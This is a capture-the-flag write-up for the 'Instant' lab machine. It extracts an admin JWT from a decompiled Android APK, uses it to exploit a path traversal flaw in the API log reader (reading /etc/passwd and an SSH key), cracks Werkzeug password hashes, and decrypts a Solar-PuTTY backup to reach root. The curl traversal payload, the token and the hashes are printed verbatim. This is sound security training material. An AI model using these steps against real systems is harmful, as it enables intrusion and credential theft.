TL;DR
This is an Ubuntu 24.04 machine hosting a web site dedicated to a wallet application which is available for Android devices. After decompiling the APK package we obtain a JWT token that can be used to log in the API. This turns out to be vulnerable to path traversal, which allows us to dump a private key that provides an initial shell in the host. Regarding escalation, first we need to crack a Werkzeug hash contained in a SQLite database, then use this password to decrypt a Solar-PuTTy data file and get the root password.
KEYWORDS
Android, APK, Apktool, path traversal, SQLite, Werkzeug, Solar-PuTTy.
REFERENCES
https://stackoverflow.com/questions/76935900/werkzeug-password-encryption
https://github.com/AnataarXVI/Werkzeug-Cracker
https://voidsec.com/solarputtydecrypt
https://github.com/VoidSec/SolarPuttyDecrypt
ENUMERATION
Port scan.
Copy > nmap $target -p- --min-rate = 5000 -Pn --open --reason
Starting Nmap 7.93 ( https://nmap.org ) at 2024-11-21 12:44 EST
Nmap scan report for instant.htb (10.10.11.37)
Host is up, received user-set (0.038s latency ).
Not shown: 57929 closed tcp ports (conn-refused), 7604 filtered tcp ports ( no-response )
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack
Nmap done: 1 IP address (1 host up ) scanned in 14.75 seconds
Enumerate the open ports.
Copy > nmap $target -p22,80 -sV -sC -Pn -vv -n
Starting Nmap 7.93 ( https://nmap.org ) at 2024-11-21 12:46 EST
Nmap scan report for 10.10.11.37
Host is up, received user-set (0.037s latency ).
Scanned at 2024-11-21 12:46:44 EST for 8s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux ; protocol 2.0 )
| ssh-hostkey:
| 256 3183eb9f15f840a5049ccb3ff6ec4976 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMM6fK04LJ4jNNL950Ft7YHPO9NKONYVCbau/+tQKoy3u7J9d8xw2sJaajQGLqTvyWMolbN3fKzp7t/s/ZMiZNo=
| 256 6f6603470e8ae00397675b41cfe2c7c7 (ED25519)
| _ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIL+zjgyGvnf4lMAlvdgVHlwHd+/U4NcThn1bx5/4DZYY
80/tcp open http syn-ack Apache httpd 2.4.58
| _http-title: Did not follow redirect to http://instant.htb/
| _http-server-header: Apache/2.4.58 (Ubuntu)
| http-methods:
| _ Supported Methods: GET HEAD POST OPTIONS
Service Info: Host: instant.htb ; OS: Linux ; CPE: cpe:/o:linux:linux_kernel
Nmap done: 1 IP address (1 host up ) scanned in 8.28 seconds
Add to hosts
file and enumerate the site with Firefox. It looks like a site for making online money transactions. A mobile app called "Instant" is available, download the APK file.
USER
Decompile the Android APK package with apktool
Copy > apktool d instant.apk
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
I: Using Apktool 2.10.0 on instant.apk with 8 thread ( s ) .
I: Baksmaling classes.dex...
I: Loading resource table...
I: Decoding file-resources...
I: Loading resource table from file: /home/kali/.local/share/apktool/framework/1.apk
I: Decoding values */* XMLs...
I: Decoding AndroidManifest.xml with resources...
I: Regular manifest package...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
I: Copying META-INF/services directory
Look for sensitive content in the resulting directories.
Copy > grep -r Admin
smali/com/instantlabs/instant/AdminActivities.smali:.class public Lcom/instantlabs/instant/AdminActivities ;
smali/com/instantlabs/instant/AdminActivities.smali:.source "AdminActivities.java"
smali/com/instantlabs/instant/AdminActivities.smali:.method private TestAdminAuthorization () Ljava/lang/String ;
smali/com/instantlabs/instant/AdminActivities.smali: new-instance v1, Lcom/instantlabs/instant/AdminActivities $1;
smali/com/instantlabs/instant/AdminActivities.smali: invoke-direct {v1, p0}, Lcom/instantlabs/instant/AdminActivities $1; - ><init>(Lcom/instantlabs/instant/AdminActivities;)V
smali/com/instantlabs/instant/AdminActivities$1.smali:.class Lcom/instantlabs/instant/AdminActivities $1;
smali/com/instantlabs/instant/AdminActivities$1.smali:.source "AdminActivities.java"
smali/com/instantlabs/instant/AdminActivities$1.smali: value = Lcom/instantlabs/instant/AdminActivities ; ->TestAdminAuthorization () Ljava/lang/String;
smali/com/instantlabs/instant/AdminActivities$1.smali:.field final synthetic this $0 :Lcom/instantlabs/instant/AdminActivities ;
smali/com/instantlabs/instant/AdminActivities$1.smali: const-class v0, Lcom/instantlabs/instant/AdminActivities ;
smali/com/instantlabs/instant/AdminActivities$1.smali:.method constructor < ini t >( Lcom/instantlabs/instant/AdminActivities ;) V
smali/com/instantlabs/instant/AdminActivities$1.smali: iput-object p1, p0, Lcom/instantlabs/instant/AdminActivities $1; - > this $0 :Lcom/instantlabs/instant/AdminActivities ;
There is a JWT token in the file smali/com/instantlabs/instant/AdminActivities.smali
Furthermore, in the res/xml/network_security_config.xml
file we find two API endpoint URLs.
Update hosts
file with these URLs and enumerate with Firefox. The API documentation comes into view.
Now try any of the endpoints, for example /api/v1/view/transactions
. Capture the request, pay attention to how authorization is managed, take note of the header used for this purpose.
With this information we are in a position to query all the endpoints crafting our own requests with curl
. For example, let's get a list of users.
Copy curl -s -X GET "http://swagger-ui.instant.htb/api/v1/admin/list/users" -H "accept: application/json" -H "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" | jq .
In the documentation we see we can query log files, and choose the file path with the log_file_name
parameter.
This is potentially vulnerable to path traversal. Let's try it.
Copy > curl -s -X GET "http://swagger-ui.instant.htb/api/v1/admin/read/log?log_file_name=../../../etc/passwd" -H "accept: application/json" -H "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" | jq .
The path traversal vulnerability is confirmed, and we see a potential username shirohige
Dump his private key.
And use it to open a shell and collect the user flag.
ROOT
Start from the low-priv shell and take the opportunity to enumerate the user and the system.
Copy > whoami && id
shirohige
uid = 1001 ( shirohige ) gid = 1002 ( shirohige ) groups = 1002 ( shirohige ) ,1001 ( development )
> uname -a && cat /etc/os-release
Linux instant 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
PRETTY_NAME = "Ubuntu 24.04.1 LTS"
NAME = "Ubuntu"
VERSION_ID = "24.04"
VERSION = "24.04.1 LTS (Noble Numbat)"
VERSION_CODENAME = noble
ID = ubuntu
ID_LIKE = debian
HOME_URL = "https://www.ubuntu.com/"
SUPPORT_URL = "https://help.ubuntu.com/"
BUG_REPORT_URL = "https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL = "https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME = noble
LOGO = ubuntu-logo
Use linpeas.sh
to find useful info. An SQLite database appears in /home/shirohige/projects/mywallet/Instant-Api/mywallet/instance/instant.db
Copy - > Extracting tables from /home/shirohige/projects/mywallet/Instant-Api/mywallet/instance/instant.db (limit 20 )
-- > Found interesting column names in wallet_users (output limit 10 )
CREATE TABLE wallet_users (
id INTEGER NOT NULL,
username VARCHAR,
email VARCHAR,
wallet_id VARCHAR,
password VARCHAR,
create_date VARCHAR,
secret_pin INTEGER,
role VARCHAR,
status VARCHAR,
PRIMARY KEY (id),
UNIQUE (username),
UNIQUE (email),
UNIQUE (wallet_id)
)
1, instantAdmin, admin@instant.htb, f0eca6e5-783a-471d-9d8f-0162cbc900db,
Further enumerate the database, there are two hashes in the wallet_users
table.
Copy > sqlite3 instant.db
SQLite version 3.39.3 2022-09-05 11:02:23
Enter ".help" for usage hints.
sqlite > .databases
main: /home/kali/htb/instant/instant.db r/w
sqlite > .tables
wallet_transactions wallet_users wallet_wallets
sqlite > select * from wallet_users ;
1 | instantAdmin | admin@instant.htb | f0eca6e5-783a-471d-9d8f-0162cbc900db | pbkdf2:sha256:600000$I5bFyb0ZzD69pNX8$e9e4ea5c280e0766612295ab9bff32e5fa1de8f6cbb6586fab7ab7bc762bd978 | 2024-07-23 00:20:52.529887 | 87348 | Admin | active
2 | shirohige | shirohige@instant.htb | 458715c9-b15e-467b-8a3d-97bc3fcf3c11 | pbkdf2:sha256:600000$YnRgjnim$c9541a8c6ad40bc064979bc446025041ffac9af2f762726971d8a28272c550ed | 2024-08-08 20:57:47.909667 | 42845 | instantian | active
sqlite >
I couldn't find hash type pbkdf2:sha256:600000
in the Hashcat examples database, so I made a further search for this type of hashes. It seems these are Werkzeug hashes (https://stackoverflow.com/questions/76935900/werkzeug-password-encryption ). And a password cracker is available here: https://github.com/AnataarXVI/Werkzeug-Cracker
It is capable of cracking one of the hashes.
This password will be useful soon, take note of it and continue enumerating the host.
There is a Solar-PuTTy backup file here /opt/backups/Solar-PuTTY/sessions-backup.dat
The application source code has been reversed and is explained here: https://voidsec.com/solarputtydecrypt/ . Also, a decrypter for the DAT files is available here: https://github.com/VoidSec/SolarPuttyDecrypt
Let's run it run it (needs Windows) with the password we have just disclosed. The decryption is successful and the root password appears.
The only thing that's left is to su
to root account.
You are root.